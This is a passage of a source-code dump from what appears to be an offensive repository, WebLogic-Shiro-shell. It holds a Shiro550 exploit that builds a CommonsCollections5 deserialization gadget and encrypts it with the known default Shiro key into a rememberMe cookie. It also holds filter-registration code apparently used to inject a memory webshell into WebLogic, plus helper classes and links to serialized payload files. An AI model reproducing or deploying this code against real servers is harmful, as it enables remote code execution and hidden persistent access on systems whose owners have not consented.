registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null); 56 | } 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | } 60 | } 61 | 62 | public static byte[] getBytesByFile(String pathStr) { 63 | File file = new File(pathStr); 64 | try { 65 | FileInputStream fis = new FileInputStream(file); 66 | ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); 67 | byte[] b = new byte[1000]; 68 | int n; 69 | while ((n = fis.read(b)) != -1) { 70 | bos.write(b, 0, n); 71 | } 72 | fis.close(); 73 | byte[] data = bos.toByteArray(); 74 | bos.close(); 75 | return data; 76 | } catch (Exception e) { 77 | e.printStackTrace(); 78 | } 79 | return null; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/ser/cc2.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/src/main/java/org/chabug/ser/cc2.ser -------------------------------------------------------------------------------- /src/main/java/org/chabug/ser/cc5.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/src/main/java/org/chabug/ser/cc5.ser -------------------------------------------------------------------------------- /src/main/java/org/chabug/shiro/Shiro550.java: -------------------------------------------------------------------------------- 1 | package org.chabug.shiro; 2 | 3 | import org.chabug.util.EncryptUtil; 4 | import org.chabug.util.Serializables; 5 | import ysoserial.payloads.CommonsCollections5; 6 | 7 | public class Shiro550 { 8 | public static void main(String[] args) throws Exception { 9 | CommonsCollections5 cc = new CommonsCollections5(); 10 | Object calc = cc.getObject("calc"); 11 | byte[] bytes = Serializables.serializeToBytes(calc); 12 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 13 | String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); 14 | System.out.println(rememberMe); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/util/EncryptUtil.java: -------------------------------------------------------------------------------- 1 | package org.chabug.util; 2 | 3 | import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; 4 | 5 | import javax.crypto.BadPaddingException; 6 | import javax.crypto.Cipher; 7 | import javax.crypto.IllegalBlockSizeException; 8 | import javax.crypto.NoSuchPaddingException; 9 | import javax.crypto.spec.IvParameterSpec; 10 | import javax.crypto.spec.SecretKeySpec; 11 | import java.security.InvalidKeyException; 12 | import java.security.NoSuchAlgorithmException; 13 | import java.util.Queue; 14 | 15 | public class EncryptUtil { 16 | private static final String ENCRY_ALGORITHM = "AES"; 17 | private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding"; 18 | private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV 19 | 20 | public EncryptUtil() { 21 | } 22 | 23 | public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) { 24 | try { 25 | SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM); 26 | Cipher cipher = Cipher.getInstance(CIPHER_MODE); 27 | IvParameterSpec iv = new IvParameterSpec(IV); 28 | cipher.init(1, keySpec, iv); 29 | byte[] cipherTextBytes = cipher.doFinal(clearTextBytes); 30 | return cipherTextBytes; 31 | } catch (NoSuchPaddingException var6) { 32 | var6.printStackTrace(); 33 | } catch (NoSuchAlgorithmException var7) { 34 | var7.printStackTrace(); 35 | } catch (BadPaddingException var8) { 36 | var8.printStackTrace(); 37 | } catch (IllegalBlockSizeException var9) { 38 | var9.printStackTrace(); 39 | } catch (InvalidKeyException var10) { 40 | var10.printStackTrace(); 41 | } catch (Exception var11) { 42 | var11.printStackTrace(); 43 | } 44 | 45 | return null; 46 | } 47 | 48 | public static String shiroEncrypt(String key, byte[] objectBytes) { 49 | byte[] pwd = Base64.decode(key); 50 | byte[] cipher = encrypt(objectBytes, pwd); 51 | 52 | assert cipher != null; 53 | 54 | byte[] output = new byte[pwd.length + cipher.length]; 55 | byte[] iv = IV; 56 | System.arraycopy(iv, 0, output, 0, iv.length); 57 | System.arraycopy(cipher, 0, output, pwd.length, cipher.length); 58 | return Base64.encode(output); 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/util/Serializables.java: -------------------------------------------------------------------------------- 1 | package org.chabug.util; 2 | 3 | import java.io.*; 4 | 5 | /* 6 | 工具类 用来实现序列化和反序列化 7 | */ 8 | 9 | public class Serializables { 10 | public static byte[] serializeToBytes(final Object obj) throws Exception { 11 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 12 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 13 | objOut.writeObject(obj); 14 | objOut.flush(); 15 | objOut.close(); 16 | return out.toByteArray(); 17 | } 18 | 19 | 20 | public static Object deserializeFromBytes(final byte[] serialized) throws Exception { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | final ObjectInputStream objIn = new ObjectInputStream(in); 23 | return objIn.readObject(); 24 | } 25 | 26 | public static void serializeToFile(String path, Object obj) throws Exception { 27 | FileOutputStream fos = new FileOutputStream("object"); 28 | ObjectOutputStream os = new ObjectOutputStream(fos); 29 | //writeObject()方法将obj对象写入object文件 30 | os.writeObject(obj); 31 | os.close(); 32 | } 33 | 34 | public static Object serializeFromFile(String path) throws Exception { 35 | FileInputStream fis = new FileInputStream(path); 36 | ObjectInputStream ois = new ObjectInputStream(fis); 37 | // 通过Object的readObject()恢复对象 38 | Object obj = ois.readObject(); 39 | ois.close(); 40 | return obj; 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /src/main/resources/lib/coherence.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/src/main/resources/lib/coherence.jar -------------------------------------------------------------------------------- /src/main/resources/lib/ysoserial-0.0.6-SNAPSHOT-all.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/src/main/resources/lib/ysoserial-0.0.6-SNAPSHOT-all.jar --------------------------------------------------------------------------------